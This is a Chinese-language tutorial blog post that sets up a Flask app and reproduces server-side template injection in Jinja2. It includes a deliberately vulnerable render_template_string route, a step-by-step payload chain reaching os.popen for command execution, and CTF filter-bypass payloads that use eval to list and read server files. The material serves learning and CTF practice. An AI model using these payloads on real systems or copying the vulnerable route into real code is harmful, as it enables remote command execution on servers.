flask之ssti模板注入知识点及复现

原创文章:

鸣谢

首先还是感谢两位师傅的文章,受益匪浅!本文主要是转载和自我学习。

SSTI模板注入的成因

SSTI服务端模板注入,SSTI主要为python的一些框架 jinja2、mako、tornado、django,PHP框架smarty、twig,以及Java的框架jade、velocity使用了渲染函数时,由于代码的不规范或者是开发者过分信赖用户输入而导致了服务端模板注入。

模板引擎

  • 什么是模板引擎?我们为什么要使用模板?

    • 模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,可以大大提升开发效率,良好的设计也使得代码重用变得更加容易。
  • 拿到数据之后,然后塞到模板中,再让渲染引擎将塞进去的东西生成html的文本发送给浏览器,这样可以提高效率。

本地flask环境搭建

环境:3.10
工具:pycharm专业版

  • 首先新建项目

img

  • 选择flask项目,点击创建

img

  • 出现这样的界面

img

  • 右键进行调试,如果出现报错的话,是因为你没有安装flask模块,使用pip install flask进行安装重新运行即可

img

  • 访问指定链接,看到如下页面说明成功了

img

route装饰器路由

1
@app.route('/')

使用route()装饰器告诉Flask是什么样的URL才能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这就相当于路由,一个路由会跟着一个函数:

1
2
3
@app.route('/') 
def test():
return "123"

img

然后我们进行访问

img

我们在这里修改一下规则,使用下面的这段代码来设置动态网址

1
2
3
@app.route("/hello/<username>") 
def hello_user(username):
return "user:%s" % username

img

int 接受整数
float 接收浮点数
path 和默认的相似,但也接收斜线

main入口

当python文件运行的时候,在if __name__ == '__main__'下面的代码将会运行,当python文件被导入的时候,在if __name__ == '__main__'下面的代码将不会运行。

测试的时候,我们可以使用debug,方便调试,增加一句:app.debug = True

这个可以让操作系统监听所有的公网IP,就可以在公网上面看到自己的web了:app.run(host=’0.0.0.0’)

模板渲染

我们可以使用render_template()方法来渲染模板。

1
2
3
4
5
6
7
# 模板渲染实例
from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
return render_template('index.html', name=name)

html文件是放在templates文件夹当中的,然后我们放一个index.html到该文件夹当中

1
<h1>Hello, {{user.name}}!</h1>

这里只放了一个参数进行渲染,然后我们在app.py文件中进行渲染

1
2
3
4
5
6
7
@app.route('/')
@app.route('/index')
# 我们访问/或者/index都会跳转
def index():
user = {'name': '小菜猴子'}
# 传入一个字典数组
return render_template("index.html", user=user)

img

flask SSTI模板注入复现

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, request, render_template_string 

app = Flask(__name__)

@app.route('/test/')
def test():
code = request.args.get('id')
html = ''' <h3>%s</h3> ''' % code
return render_template_string(html)

if __name__ == "__main__":
app.run()

输入{{7*7}}发现回显的是49,说明存在SSTI模板注入

img

然后我们使用{{''.__class__}}获取字符串的类对象

img

使用{{''.__class__.__mro__}}寻找基类

img

使用{{''.__class__.__mro__[1].__subclasses__()}}寻找可用的引用

img

然后我们使用下标的方式获取os._wrap_close,使用{{''.__class__.__mro__[1].__subclasses__()[138]}}

img

然后我们利用__init__.__globals__来找os类下的所有方法及变量和参数。使用{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__}}

img

我们发现这里有一个popen函数,然后我们使用他,poc为{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['popen']('dir').read()}}

img

其他知识点

__base__ 以元组返回一个类直接所继承的类
__mro__ 以元组返回继承关系链
__class__ 返回对象所属的类
__globals__ 以dict返回函数所在模块命名空间中的所有变量
__subclasses__() 以列表返回类的子类
__init__ 类的初始化方法
builtin 内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)

ps:在py3中__builtin__被换成了builtin __builtin__ 和 __builtins__之间是什么关系呢?
在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

CTF中的一些绕过技巧

1、过滤[]等符号:使用gititem绕过。
如原poc {{"".__class__.__bases__[0]}},绕过后{{"".__class__.bases__.__getitem__(0)}}

2、过滤了subclasses,使用拼凑法绕过
如原poc:

{{"".__class__.__bases__[0].__subclasses__()}},绕过后{{"".__class__.bases[0]__'subcla'+'sses'}}

3、过滤了class,使用session

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0].__subclasses__()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便

1
2
3
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}

4、poc

1
2
3
4
5
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

再次感谢两位师傅的文章!

如果文章有何不妥之处,请您指出。